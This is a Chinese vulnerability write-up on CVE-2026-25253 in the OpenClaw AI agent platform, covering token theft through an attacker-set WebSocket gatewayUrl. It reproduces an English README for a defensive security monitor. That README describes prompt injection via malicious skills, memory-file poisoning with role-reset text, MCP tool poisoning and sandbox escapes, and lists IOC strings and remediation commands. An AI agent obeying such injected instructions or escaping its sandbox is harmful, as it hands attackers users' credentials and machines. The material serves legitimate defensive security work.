漏洞分析

🎯 CVE-2026-25253 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹

AiRedTeam

10 Aug 2026 • 阅读时间 25 分钟

🎯 CVE 全聚合深度分析

CVE-2026-25253 深度技术分析

📊 聚合 4 来源🧪 含 PoC🕵️ 含指纹

NVD-LatestPoC-in-GitHubGitHub Security Lab4hou

摘要：CVE-2026-25253 是 OpenClaw（别名 clawdbot / Moltbot）在 2026.1.29 之前版本中存在的一个高危漏洞（CVSS 8.8）。漏洞源于应用从查询字符串中直接获取 gatewayUrl 参数，并在无任何用户交互的情况下自动建立 WebSocket 连接，同时将认证 token 发送至该地址。攻击者可通过构造恶意链接，诱导受害者触发连接，从而窃取 token，进而获取 OpenClaw 实例的完整控制权，并可能升级为远程代码执行（RCE）。本分析将深入探讨漏洞根因、实际危害及修复缓解方案。

📌 漏洞概述

CVE-ID：CVE-2026-25253
CVSS 评分：8.8（High）
影响组件：OpenClaw（clawdbot / Moltbot）
受影响版本：2026.1.29 之前的所有版本
漏洞类型：不安全 WebSocket 连接 / 敏感信息泄露 / 认证绕过（可发展为远程代码执行）

根据 NVD 描述，OpenClaw 从查询字符串中获取 gatewayUrl 值后，会自动建立 WebSocket 连接但不会弹出任何提示，并在连接过程中发送 token 值。这意味着任何能够控制受害者打开链接的第三方（例如通过邮件、即时消息或恶意网页）都可以指定一个攻击者控制的 WebSocket 端点，诱使受害者的 OpenClaw 客户端连接到该端点并泄漏 token。

🔬 漏洞根因分析

CVE-2026-25253 的核心问题在于 对不可信输入的过度信任，以及 WebSocket 协议自身的跨域特性。具体可以从以下几个层面剖析：

第一，外部可控的 WebSocket 目标地址。应用将 URL 查询参数 gatewayUrl 直接用作 WebSocket 连接的目标地址，而没有进行任何有效性验证、白名单限制或域名绑定。攻击者可以轻易构造类似 wss://attacker.com/ws?token=... 的地址，并通过深链接（deep link）或浏览器 URL 传递给本地运行的 OpenClaw 客户端。

第二，无人工确认的自动连接机制。OpenClaw 在处理该参数时，不等待用户授权或确认，即发起 WebSocket 握手。这种设计可能是为了提升自动化效率，但在安全角度上完全忽略了用户决策环节。攻击者无需绕过任何 UI 限制，只需让用户访问一个含恶意链接的页面或点击一个链接，即可触发连接。

第三，token 的直接发送。在建立连接后，客户端立即将令牌值发送至目标服务器。token 是 OpenClaw 的身份凭证，代表客户端身份和权限。攻击者获得 token 后，即可伪装成合法客户端，向受害者本地的 OpenClaw 实例发送指令，进而实现命令执行、文件读写等操作。

第四，WebSocket 不受同源策略约束。与 HTTP 请求不同，WebSocket 握手不强制校验 Origin，即便 OpenClaw 实例只绑定在 localhost，恶意网页也可以通过 new WebSocket("ws://localhost:1234/...") 发起请求，绕过浏览器的跨域限制。CVE-2026-25253 恰好提供了一种链接触发方式，使得该问题被放大：攻击者将 gatewayUrl 指向自己的服务器，token 便直接发送到外部。

第五，可能引发连锁攻击。获取 token 后，攻击者可以调用 OpenClaw 的 API，进一步发送恶意指令。结合 OpenClaw 允许加载第三方技能和工作流的能力，攻击者可以上传恶意技能模块、篡改配置或获取持久化控制。在已知的研究中，恶意技能（如 ClawHavoc）和 WebSocket 暴力破解（ClawJacked）已被广泛利用，CVE-2026-25253 相当于提供了一个更简单的初始入口——只需一次点击即可拿到有效 token。

综上，该漏洞的根因并非单一代码缺陷，而是输入校验缺失、自动连接风险、token 暴露策略、以及 WebSocket 协议特性 共同作用的结果。修复必须从架构层面阻断该攻击面，而不仅仅是简单过滤参数。

💥 影响与危害

成功利用 CVE-2026-25253 可能导致以下严重后果：

身份凭证窃取：攻击者获得 OpenClaw 的 token，能够以受害者身份与控制实例进行认证通信。
远程代码执行（RCE）：通过 WebSocket 通道向 OpenClaw 发送恶意指令，结合其他组件漏洞（如 safeBins 绕过）可在主机上执行任意命令。
敏感数据泄露：OpenClaw 通常可访问用户的文件、凭据、浏览器数据、加密货币钱包等，攻击者可通过控制 agent 读取并外泄这些信息。
供应链污染：攻击者可利用被攻陷的实例安装恶意技能或修改依赖，影响后续所有自动化任务，甚至横向传播到其他系统。
持久化后门：通过修改配置或注入启动脚本，攻击者可在受害机器中维持长期访问。

值得注意的是，该漏洞影响面较大，因为 OpenClaw 可能运行在个人电脑、服务器或 CI/CD 环境中，且通常与高权限任务绑定。即便实例监听在 localhost，恶意网页仍可借助该逻辑绕过网络隔离，实现攻击。

🛡️ 修复与缓解

官方补丁：升级至 2026.1.29 或更高版本。该版本应修复了自动连接行为，添加了对 gatewayUrl 的来源校验、用户确认机制以及 token 的安全发送策略。

临时缓解措施：

避免点击不可信链接：在补丁更新前，不要打开任何包含 gatewayUrl 参数的 OpenClaw 链接，尤其是来自未知来源的链接。
手动限制 WebSocket 目标：通过防火墙或代理规则，阻止 OpenClaw 向非预期域名发起 WebSocket 连接（例如仅允许内网网关地址）。
强化 token 管理：定期轮换 token，并限制 token 的权限范围；关闭不必要的自动化连接功能。
增加用户确认交互：如果代码可控，在建立 WebSocket 前要求用户确认目标地址，或对查询参数进行 HMAC 签名验证。
监控异常连接：使用安全监控工具（如参考仓库中的 OpenClaw Security Monitor）检测异常的 WebSocket 连接和 token 使用行为。
网络层加固：将 OpenClaw 实例置于受信任网络，禁止出站 WebSocket 连接到外部 IP；在浏览器中禁用自动打开外部 WebSocket 的机制。

安全团队应重点关注 OpenClaw 部署的暴露面，及时更新补丁，并评估所有潜在的攻击路径。由于该漏洞利用门槛较低且可能严重影响 AI Agent 生态，建议将其视为优先处理的高危风险项。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源adibirzu/openclaw-security-monitor针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# OpenClaw Security Monitor

Proactive security monitoring,threat scanning,and real-time visibility for [OpenClaw](https://github.com/openclawai/openclaw) deployments. Detects threats from the **ClawHavoc** campaign (824+ malicious skills),**AMOS stealer**,**Vidar infostealer**,**GhostSocks** proxy malware,**ClawJacked** WebSocket brute-force,workspace plugin auto-loading attacks,
shared-auth scope escalation,approval replay/integrity bypasses,supply chain attacks,memory poisoning,log poisoning,browser relay hijacking,TAR traversal,SSRF,SHA-1 cache poisoning,MCP tool poisoning,SANDWORM worm propagation,**170 advisories**,and **500+ CVEs**.

## Why This Exists

In late January 2026,
security researchers found that **12% of all ClawHub skills were malicious** — 341 out of 2,857 skills across multiple campaigns. By mid-February,this expanded to **824+ malicious skills** with **1,184 malicious packages** across 12 publisher accounts (Antiy CERT). The Snyk ToxicSkills study found **36% of all ClawHub skills contain security flaws** (3,984 scanned).

The primary campaign,
ClawHavoc,delivered the Atomic Stealer (AMOS) macOS infostealer targeting crypto wallets,SSH credentials,and browser passwords. In February,Hudson Rock discovered **Vidar infostealer variants specifically targeting OpenClaw agent identities** — stealing openclaw.json,device.json,soul.md,and memory.md files.

Meanwhile,
CVE-2026-25253 demonstrated that a single malicious link could achieve full remote code execution on any OpenClaw instance through WebSocket hijacking — even those bound to localhost. The **ClawJacked** attack (Feb 26,
Oasis Security) showed that malicious websites can brute-force localhost WebSocket passwords with no rate limiting. **CVE-2026-28363** (CVSS 9.9) revealed a critical safeBins bypass via GNU long-option abbreviations. In total,**170 advisories and 500+ CVEs** have been tracked across project and third-party disclosures including SSRF,exec bypass,ACP auto-approval bypass,webhook forgery,
log poisoning,and more. The March 19-21 batch (CVE-2026-32013,CVE-2026-32014,CVE-2026-32025,CVE-2026-32042,CVE-2026-32048,CVE-2026-32051,CVE-2026-32055,CVE-2026-32056,CVE-2026-32064) added symlink traversal,sandbox escape,shell environment RCE,unauthenticated VNC observer access,
and device identity/metadata spoofing. The April 16 wave added **Matrix room-control sender-auth bypass** (GHSA-2gvc-4f3c-2855),**webchat media local-root bypass** (GHSA-mr34-9552-qr95),**gateway SecretRef stale bearer auth** (GHSA-xmxx-7p24-h892),and **config.get redaction bypass** (GHSA-8372-7vhw-cm6q). The April 21-25 rollups added **setup-api.js cwd execution** (GHSA-r39h-4c2p-3jxp),
**webhook SecretRef route-secret replay** (GHSA-q8ff-7ffm-m3r9),**gateway config mutation guard bypass** (GHSA-cwj3-vqpp-pmxr),dotenv connector/runtime overrides,MCP owner-context/tool-policy issues,OpenShell FS bridge escapes,and additional SSRF/media hardening. The June 2026 rollup added **MCP Streamable HTTP redirect header leakage** (CVE-2026-53840),
**workspace dotenv/env command influence** (CVE-2026-53842,CVE-2026-53846,CVE-2026-53858,CVE-2026-53864),**exec allowlist bypasses** (CVE-2026-53853,CVE-2026-53855,CVE-2026-53861,CVE-2026-53866),**service PATH hijacking** (CVE-2026-53865),and **revoked device-token/scope abuse** (CVE-2026-53843,CVE-2026-53847,
CVE-2026-53852). Unit 42 also documented five evasive ClawHub skills from February-May 2026,including TradingView paste-site lures,an oversized padded README dropper (`omnicogg`),runtime affiliate injection (`money-radar`),and agentic front-running (`letssendit`).

**135,000+ instances** are exposed across 82 countries,
with **12,812 exploitable via RCE**. Major security firms including CrowdStrike,Bitdefender,Palo Alto Networks,Cisco,
and Kaspersky have issued advisories. Meta has banned OpenClaw from corporate devices.

This project provides defense-in-depth monitoring for self-hosted OpenClaw installations. **Minimum safe version: v2026.5.26**.

## Features

- **41-point security scan** covering C2 infrastructure,stealers,reverse shells,credential exfiltration,memory poisoning,SKILL.md injection,WebSocket hijacking,
ClawJacked brute-force,SSRF,safeBins bypass,ACP auto-approval,PATH hijacking,env override injection,deep link truncation,log poisoning,SHA-1 cache poisoning,Google Chat webhook bypass,CSWSH,MCP tool poisoning,SANDWORM worm detection,rules file backdoor,setup-api.js plugin hijacks,workspace plugin auto-loading,shared-auth scope abuse,exec approval replay,file-padding evasion,
malicious skill-name patterns,DM/tool/sandbox policies,persistence mechanisms,plugin auditing,Docker security,and more
- **IOC database** with known C2 IPs,malicious domains,file hashes,publisher blacklists,
and skill name patterns
- **Auto-updating IOC feeds** that pull latest threat intelligence from upstream
- **Bundle-plugin manifest** for `clawhub package publish --family bundle-plugin`
- **Web dashboard** (dark-themed,zero dependencies) with real-time status,process trees,network monitoring,
and scan history
- **Daily automated scans** with Telegram alerting
- **Process ancestry tracking** via [witr](https://github.com/pranshuparmar/witr) integration

## Quick Start

```bash
# Clone into OpenClaw skills directory
git clone https://github.com/adibirzu/openclaw-security-monitor.git \
  ~/.openclaw/workspace/skills/openclaw-security-monitor

cd ~/.openclaw/workspace/skills/openclaw-security-monitor

# Make scripts executable
chmod +x scripts/*.sh scripts/remediate/*.sh

# Run a 41-point scan (read-only,
no system changes)
./scripts/scan.sh

# Preview what remediation would do (dry-run,no changes)
./scripts/remediate.sh --dry-run

# Start the web dashboard (read-only,localhost:18800)
node dashboard/server.js

# Scan all installed ClawHub skills
./scripts/clawhub-scan.sh

# Update IOC database (interactive,
asks for confirmation)
./scripts/update-ioc.sh
```

## Bundle Plugin

This project is also publishable as a ClawHub bundle plugin.

```bash
# Install the bundle plugin variant
openclaw plugins install clawhub:openclaw-security-monitor-bundle
```

**Optional persistence** (manual,not auto-installed):
```bash
# Install daily cron (06:00 UTC) — requires explicit user action
crontab -l |{cat;
echo "0 6 * * * $(pwd)/scripts/daily-scan-cron.sh";}|
crontab -
```

## Architecture

```
openclaw-security-monitor/
  .codex-plugin/
    plugin.json          # Bundle-plugin manifest for ClawHub/OpenClaw plugin publishing
  scripts/
    scan.sh              # 41-point threat scanner (v5.5.0)
    remediate.sh         # Orchestrator: scan + per-check remediation
    remediate/
      _common.sh         # Shared helpers (log,confirm,
fix_perms)
      check-01-c2-ips.sh ... check-41-device-identity-spoofing.sh  # 41 consolidated per-check scripts
      check-42-*.sh ... check-62-*.sh  # retained legacy advisory-specific helpers
    clawhub-scan.sh      # Scan all installed ClawHub skills against IOC database
    dashboard.sh         # CLI security dashboard with witr
    network-check.sh     # Network activity monitor
    daily-scan-cron.sh   # Cron wrapper + Telegram alerts
    telegram-setup.sh    # Telegram notification setup
    update-ioc.sh        # IOC database updater
  ioc/
    c2-ips.txt           # Known C2 IP addresses
    malicious-domains.txt # Payload/exfil domains
    file-hashes.txt      # Known malicious file hashes
    malicious-publishers.txt  # Blacklisted ClawHub accounts
    malicious-skill-patterns.txt  # Malicious skill naming patterns
  dashboard/
    server.js            # Node.js HTTP server (zero npm deps)
    index.html           # Single-file dark-themed SPA
  docs/
    threat-model.md      # Threat model and attack vectors
```

## Scan Checks (41)

|
# |Check |Severity |Detects ||---|-------|----------|---------||1 |C2 Infrastructure |CRITICAL |Known C2 IPs in skill code ||2 |Malware Signatures &Obfuscation |CRITICAL |AMOS stealer,base64 obfuscation,binary downloads,file-padding evasion ||3 |Reverse Shells |CRITICAL |bash/python/perl/ruby/php/lua reverse shells ||4 |Credential Exfiltration |CRITICAL |webhook.site,pipedream,ngrok,
burpcollaborator ||5 |Crypto Wallet Targeting |WARNING |Seed phrases,private keys,exchange API keys ||6 |Curl-Pipe Attacks |WARNING |curl\|sh,wget\|bash,remote script execution ||7 |File &Credential Permission Audit |WARNING |Config files,credentials dir,session perms ||8 |Skill Integrity |WARNING |SKILL.md hash changes since last scan ||9 |AI Prompt Injection &Instruction Manipulation |
CRITICAL |SKILL.md injection,memory poisoning,MCP tool poisoning,rules file backdoor,prompt-channel trust fixes ||10 |Gateway Config |CRITICAL |Auth disabled,LAN exposure,version check ||11 |WebSocket Security |CRITICAL |CVE-2026-25253,ClawJacked,device identity skip,CSWSH ||12 |Malicious Publishers |CRITICAL |Skills from known-bad ClawHub accounts and installed skill-name patterns ||13 |
Credential Leakage &Plaintext Secrets |WARNING |Env leakage,hardcoded API keys,plaintext credentials ||14 |DM,Tool &Sandbox Policies |CRITICAL |Open DM,wildcard tools,disabled sandbox,wildcard owner-command bypasses ||15 |mDNS/Bonjour Exposure |WARNING |mDNS broadcasting in full mode ||16 |Persistence Mechanisms |WARNING |Unauthorized LaunchAgents,crontabs,systemd ||17 |Log Security &
Poisoning |WARNING |Redaction disabled,ANSI injection,header injection ||18 |Plugin/Extension Audit |CRITICAL |Extensions with exec patterns,malicious domains,setup-api.js cwd hijacks ||19 |Docker Security |CRITICAL |Root containers,socket mount,privileged mode ||20 |Authentication &Route Security |CRITICAL |Proxy bypass,CDP auth,browser bridge,/agent/act,SecretRef replay,
config mutation guard,June auth/scope CVEs ||21 |Exec Guardrails &Approval Security |CRITICAL |safeBins bypass,shell expansion,field injection,heredoc/env/applet gaps,replay,June exec allowlist CVEs ||22 |Node.js CVE Check |WARNING |CVE-2026-21636 permission model bypass ||23 |VS Code Trojans |CRITICAL |Fake ClawdBot/OpenClaw VS Code extensions ||24 |Internet Exposure |WARNING |
Non-loopback gateway binding ||25 |MCP Server Security |CRITICAL |Unrestricted MCP servers,prompt injection,env poisoning,owner-context/tool-policy bypass,CVE-2026-53840 redirects ||26 |PATH Hijacking &Command Resolution |CRITICAL |GHSA-jqpq,CVE-2026-29610,CVE-2026-53865 command hijacking ||27 |SSRF Protection |WARNING |CVE-2026-26322,CVE-2026-27488,QQBot/Zalo/browser media SSRF,
CVE-2026-53859 hostname checks ||28 |Path Traversal &File Handling |CRITICAL |Deep link truncation,browser control,TAR traversal,OpenShell FS bridge escapes ||29 |DoS Protection |WARNING |CVE-2026-28478,CVE-2026-29609 memory exhaustion ||30 |ACP Auto-Approval |WARNING |GHSA-7jx5 untrusted metadata bypass ||31 |Env Override Injection |WARNING |GHSA-82g8 skill env overrides,
workspace dotenv connector/runtime overrides,June env CVEs ||32 |Privilege Escalation &Scope Abuse |CRITICAL |Pairing creds,operator escalation,shared-auth,paired-device,node-token,active-memory and ACP scope abuse ||33 |SHA-1 Cache Poisoning |CRITICAL |CVE-2026-28479 SHA-1 collision cache attack ||34 |Google Chat Webhook Bypass |CRITICAL |CVE-2026-28469 cross-account webhook injection ||35 |
SANDWORM Worm Detection |CRITICAL |Autonomous MCP worm propagation ||36 |Workspace Plugin Auto-Discovery |CRITICAL |GHSA-99qw malicious .openclaw/extensions loading ||37 |Symlink Traversal |CRITICAL |CVE-2026-32013,CVE-2026-32055 symlink escape ||38 |Sandbox Escape &Session Inheritance |CRITICAL |CVE-2026-32048,CVE-2026-32051 session bypass ||39 |Shell Environment RCE |CRITICAL |
CVE-2026-32056,CVE-2026-27566 env injection ||40 |VNC &Observer Authentication |CRITICAL |CVE-2026-32064 unauthenticated VNC observer ||41 |Device Identity &Metadata Spoofing |CRITICAL |CVE-2026-32014,CVE-2026-32042,CVE-2026-32025 |## Remediation Guide

Step-by-step hardening for each security check,
covering both macOS and Linux.

### Check 1: C2 Infrastructure — Known C2 IPs in skill code

**Severity:** CRITICAL

**What it means:** A skill contains IP addresses associated with known command-and-control servers (e.g.,
`91.92.242.30`). This strongly indicates the skill is malicious.

**Remediation:**
```bash
# Identify the affected skill
grep -rlE "91\.92\.242|95\.92\.242|54\.91\.154\.110" ~/.openclaw/workspace/skills/

# Remove the malicious skill
openclaw skill remove <skill-name># Or manually delete it
rm -rf ~/.openclaw/workspace/skills/<skill-name>
# Verify removal
grep -rlE "91\.92\.242" ~/.openclaw/workspace/skills/ # should return empty
```

### Check 2: AMOS Stealer / AuthTool Markers

**Severity:** CRITICAL

**What it means:** A skill contains patterns associated with the Atomic Stealer (AMOS) macOS infostealer,NovaStealer,
or the "AuthTool" social engineering binary.

**Remediation:**
```bash
# Remove the malicious skill immediately
openclaw skill remove <skill-name># Check if AMOS was executed (macOS)
# Look for suspicious LaunchAgents
ls ~/Library/LaunchAgents/ |
grep -ivE "com\.apple|com\.openclaw\.security"

# Check for unexpected login items (macOS)
osascript -e 'tell application "System Events" to get the name of every login item'

# Check browser extensions were not tampered with
ls ~/Library/Application\ Support/Google/Chrome/Default/Extensions/

# If AMOS was executed: rotate ALL credentials (SSH,AWS,crypto wallets,
browser passwords)
```

### Check 3: Reverse Shells &Backdoors

**Severity:** CRITICAL

**What it means:** A skill contains reverse shell patterns (`nc -e`,`/dev/tcp/`,`socat exec`,etc.) or Gatekeeper bypass commands (`xattr -cr`).

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name># Check for active reverse shells (macOS/Linux)
lsof -i -nP |
grep -E "ESTABLISHED|SYN_SENT" |grep -vE ":443 |:80 |:53 "

# Kill any suspicious connections
kill -9 <PID># Re-enable Gatekeeper if bypassed (macOS)
sudo spctl --master-enable
sudo defaults write com.apple.LaunchServices LSQuarantine -bool true

# Check for quarantine removals (macOS)
xattr -l /Applications/*.app |
grep quarantine
```

### Check 4: Credential Exfiltration Endpoints

**Severity:** CRITICAL

**What it means:** A skill sends data to known exfiltration services (webhook.site,pipedream.net,ngrok.io,etc.).

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name>
# Block exfiltration domains at the host level
# macOS/Linux:
sudo sh -c 'echo "127.0.0.1 webhook.site" >>/etc/hosts'
sudo sh -c 'echo "127.0.0.1 pipedream.net" >>/etc/hosts'
sudo sh -c 'echo "127.0.0.1 hookbin.com" >>/etc/hosts'
sudo sh -c 'echo "127.0.0.1 requestbin.com" >>/etc/hosts'

# Flush DNS cache (macOS)
sudo dscacheutil -flushcache &&
sudo killall -HUP mDNSResponder
# Flush DNS cache (Linux)
sudo systemd-resolve --flush-caches
```

### Check 5: Crypto Wallet Targeting

**Severity:** WARNING

**What it means:** A skill references crypto wallet private keys,seed phrases,or exchange API keys.

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name># Move crypto wallets to hardware wallets (Ledger,
Trezor)
# Rotate exchange API keys immediately

# Restrict filesystem access (macOS)
chmod 700 ~/Library/Application\ Support/Phantom
chmod 700 ~/Library/Application\ Support/MetaMask

# Check if wallet files were accessed recently
# macOS:
mdls -name kMDItemLastUsedDate ~/Library/Application\ Support/Phantom/*
# Linux:
stat -c "%x" ~/.config/phantom/*
```

### Check 6: Curl-Pipe Attacks

**Severity:** WARNING

**What it means:** A skill uses `curl |
sh` or `wget |bash` patterns to download and execute remote scripts.

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name># Review and restrict agent tool access
openclaw config set tools.deny '["exec","process"]'

# Block curl-pipe at the shell level (add to ~/.bashrc or ~/.zshrc)
# This creates an alias that warns on pipe-to-shell patterns:
alias curl='() {
if [[ "$*" == *"|"*"sh"* ]] ||[[ "$*" == *"|"*"bash"* ]];then echo "BLOCKED: curl-pipe detected";return 1;fi;command curl "$@";}'
```

### Check 7: File Permission Audit

**Severity:** WARNING

**What it means:** Sensitive configuration files (openclaw.json,
auth-profiles.json) are readable by other users.

**Remediation:**
```bash
# Fix permissions (macOS/Linux)
chmod 600 ~/.openclaw/openclaw.json
chmod 600 ~/.openclaw/agents/main/agent/auth-profiles.json
chmod 600 ~/.openclaw/exec-approvals.json
chmod 700 ~/.openclaw

# Set default umask in shell profile (add to ~/.bashrc or ~/.zshrc)
echo 'umask 077' >>
~/.zshrc
```

### Check 8: Skill Integrity Hashes

**Severity:** WARNING

**What it means:** SKILL.md files have been modified since the last scan,which could indicate tampering or supply chain compromise.

**Remediation:**
```bash
# Review what changed
diff ~/.openclaw/logs/skill-hashes.sha256.prev ~/.openclaw/logs/skill-hashes.sha256

# For each changed skill,
inspect the diff
cd ~/.openclaw/workspace/skills/<skill-name>git diff HEAD~1 SKILL.md   # If under version control

# If change is unexpected,reinstall from ClawHub
openclaw skill remove <skill-name>openclaw skill install <skill-name>
# Enable skill pinning (if supported)
openclaw config set skills.autoUpdate false
```

### Check 9: SKILL.md Shell Injection

**Severity:** WARNING

**What it means:** A SKILL.md contains suspicious install instructions that try to get the user or agent to run shell commands (Snyk CVE-2026-22708).

**Remediation:**
```bash
# Review the suspicious SKILL.md
cat ~/.openclaw/workspace/skills/<skill-name>/SKILL.md |
grep -iE "terminal|curl|wget|install|download"

# Remove the skill if instructions are clearly malicious
openclaw skill remove <skill-name>
# Never run commands from SKILL.md Prerequisites without reviewing them first
# Configure agent to not auto-execute installation commands
openclaw config set tools.deny '["exec"]'
```

### Check 10: Memory Poisoning

**Severity:** CRITICAL

**What it means:** SOUL.md,MEMORY.md,or IDENTITY.md contain instruction-override patterns (for example,
role-reset language that attempts to redefine agent behavior).

**Remediation:**
```bash
# Review poisoned files
cat ~/.openclaw/workspace/SOUL.md
cat ~/.openclaw/workspace/MEMORY.md
cat ~/.openclaw/workspace/IDENTITY.md

# Remove injected content manually (edit the file,
remove injected lines)
# Or restore from backup:
git checkout HEAD -- ~/.openclaw/workspace/SOUL.md

# Protect memory files from modification
chmod 444 ~/.openclaw/workspace/SOUL.md
chmod 444 ~/.openclaw/workspace/MEMORY.md
chmod 444 ~/.openclaw/workspace/IDENTITY.md

# Investigate which skill wrote to memory
grep -rl "SOUL\.md\|MEMORY\.md" ~/.openclaw/workspace/skills/
```

### Check 11: Base64 Obfuscation

**Severity:** WARNING

**What it means:** A skill uses base64 encoding/decoding,
which is a common technique to hide malicious payloads (as seen in the ClawHavoc campaign via glot.io).

**Remediation:**
```bash
# Review the base64 content
grep -rn "base64" ~/.openclaw/workspace/skills/<skill-name>/

# Decode and inspect the payload
echo "<base64-string>" |base64 -d

# Remove if malicious
openclaw skill remove <skill-name>
# Monitor for base64 activity in agent logs
grep -i "base64" ~/.openclaw/logs/*.log
```

### Check 12: External Binary Downloads

**Severity:** WARNING

**What it means:** A skill references downloadable binaries (.exe,.dmg,.pkg,.zip with password) or known malicious download URLs.

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name>
# Check Downloads folder for suspicious binaries (macOS)
ls -la ~/Downloads/*.{exe,dmg,pkg,zip,msi}2>/dev/null

# Verify Gatekeeper is active (macOS)
spctl --status  # should say "assessments enabled"

# Check if any unsigned apps were installed (macOS)
sudo find /Applications -name "*.app" -exec codesign -v {}\;2>&1 |
grep "invalid"

# Linux: check /tmp and /var/tmp for suspicious downloads
find /tmp /var/tmp -name "*.sh" -o -name "*.elf" -o -name "*.bin" -mtime -7 2>/dev/null
```

### Check 13: Gateway Security Configuration

**Severity:** CRITICAL

**What it means:** The OpenClaw gateway is bound to LAN (accessible from network) or has authentication disabled.

**Remediation:**
```bash
# Bind gateway to localhost only
openclaw config set gateway.bind localhost

# Enable authentication
openclaw config set gateway.auth.mode token
# Or use OIDC (enterprise)
openclaw config set gateway.auth.mode oidc

# Verify configuration
openclaw config get gateway.bind
openclaw config get gateway.auth.mode

# Check what's actually listening
lsof -i :18789 -nP   # Should show 127.0.0.1,
not 0.0.0.0

# Update to latest version to patch CVE-2026-25253
openclaw update
```

### Check 14: WebSocket Security (CVE-2026-25253)

**Severity:** CRITICAL

**What it means:** The gateway WebSocket accepts connections from arbitrary origins,
enabling 1-click RCE via a malicious webpage.

**Remediation:**
```bash
# Update OpenClaw to latest version (patch included in 2026.2.3+)
openclaw update

# Verify the fix
curl -s -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: http://evil.attacker.com" \
  http://127.0.0.1:18789/
# Should return 403 or 401,
NOT 101

# If update is not available,
restrict gateway to localhost
openclaw config set gateway.bind localhost

# Add firewall rule (macOS)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /usr/local/bin/node
# Linux (iptables)
sudo iptables -A INPUT -p tcp --dport 18789 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 18789 -j DROP
```

### Check 15: Malicious Publisher Detection

**Severity:** CRITICAL

**What it means:** An installed skill references a known malicious ClawHub publisher (hightower6eu,
zaycv,Ddoy233,etc.).

**Remediation:**
```bash
# Remove all skills from the malicious publisher
openclaw skill remove <skill-name># Check for other skills from the same publisher
grep -rl "<publisher-name>" ~/.openclaw/workspace/skills/

# Review recently installed skills
ls -lt ~/.openclaw/workspace/skills/ |
head -20

# Only install skills from verified publishers
# Check skill reputation before installing:
# https://www.koi.ai (Clawdex reputation checker)
```

### Check 16: Sensitive Environment Leakage

**Severity:** WARNING / CRITICAL (if hardcoded API keys found)

**What it means:** A skill reads sensitive files (.env,.ssh,
.aws/credentials) or contains hardcoded API keys / Moltbook tokens.

**Remediation:**
```bash
# Remove the skill
openclaw skill remove <skill-name>
# Rotate exposed credentials immediately
# OpenAI:
# Go to https://platform.openai.com/api-keys and regenerate
# Anthropic:
# Go to https://console.anthropic.com/settings/keys and regenerate

# Move secrets to a secrets manager instead of .env files
# macOS: Use Keychain Access
security add-generic-password -a "$USER" -s "OPENAI_API_KEY" -w "<new-key>"

# Linux: Use pass or secret-tool
secret-tool store --label="OPENAI_API_KEY" service openai key api

# Restrict skill filesystem access
openclaw config set sandbox.mode all
```

### Check 17: DM Policy Audit

**Severity:** WARNING

**What it means:** A messaging channel has `dmPolicy=open`,
allowing anyone to message your agent — enabling social engineering and prompt injection from untrusted sources.

**Remediation:**
```bash
# Set DM policy to restricted for each channel
openclaw config set channels.whatsapp.dmPolicy restricted
openclaw config set channels.telegram.dmPolicy restricted
openclaw config set channels.discord.dmPolicy restricted

# Set explicit allowFrom list
openclaw config set channels.telegram.allowFrom '["your-user-id"]'

# Disable unused channels entirely
openclaw config set channels.signal.enabled false
```

### Check 18: Tool Policy / Elevated Tools Audit

**Severity:** CRITICAL

**What it means:** Elevated tools are enabled with wildcard access,
or the tool deny list is empty — allowing the agent to execute arbitrary commands.

**Remediation:**
```bash
# Restrict elevated tools to specific principals
openclaw config set tools.elevated.allowFrom '["your-user-id"]'

# Add dangerous tools to the deny list
openclaw config set tools.deny '["exec","process","browser","filesystem-write"]'

# Require approval for elevated actions
openclaw config set tools.elevated.requireApproval true

# Review current tool permissions
openclaw config get tools
```

### Check 19: Sandbox Configuration

**Severity:** WARNING

**What it means:** Sandboxing is disabled,
allowing skills to access the full filesystem and network without restriction.

**Remediation:**
```bash
# Enable sandboxing
openclaw config set sandbox.mode all

# Restrict workspace access to read-only where possible
openclaw config set sandbox.workspaceAccess ro

# For Docker deployments (recommended for production):
# Use gVisor runtime for stronger isolation
docker run --runtime=runsc --read-only \
  -v ~/.openclaw:/home/openclaw/.openclaw:ro \
  openclaw/gateway
```

### Check 20: mDNS/Bonjour Exposure

**Severity:** WARNING

**What it means:** mDNS is broadcasting in "full" mode,
advertising the gateway's presence,paths,and SSH port to the local network.

**Remediation:**
```bash
# Disable mDNS broadcasting
openclaw config set discovery.mdns.mode off

# Or set to minimal (name only,
no paths)
openclaw config set discovery.mdns.mode minimal

# Verify mDNS is not broadcasting (macOS)
dns-sd -B _openclaw._tcp local
# Should return no results

# Disable Bonjour for the gateway specifically (macOS)
sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES
```

### Check 21: Session &
Credential Permissions

**Severity:** WARNING

**What it means:** Credential directories,session files,
or the OpenClaw home directory have overly permissive permissions.

**Remediation:**
```bash
# Fix all permissions at once
chmod 700 ~/.openclaw
chmod 700 ~/.openclaw/credentials 2>/dev/null
chmod 700 ~/.openclaw/agents/*/sessions 2>/dev/null
find ~/.openclaw/credentials -type f -name "*.json" -exec chmod 600 {}\;2>/dev/null
find ~/.openclaw -name "auth-profiles.json" -exec chmod 600 {}\;
# Verify
ls -la ~/.openclaw/
ls -la ~/.openclaw/credentials/
```

### Check 22: Persistence Mechanisms

**Severity:** WARNING

**What it means:** There are LaunchAgents,cron entries,or systemd services referencing OpenClaw that are not the known security monitor.

**Remediation:**
```bash
# macOS: Review LaunchAgents
ls -la ~/Library/LaunchAgents/ |
grep -iE "openclaw|clawdbot|moltbot"
# Remove unauthorized agents:
launchctl unload ~/Library/LaunchAgents/<suspicious-plist>rm ~/Library/LaunchAgents/<suspicious-plist># Check system-level LaunchDaemons (requires root)
sudo ls /Library/LaunchDaemons/ |grep -iE "openclaw|clawdbot"

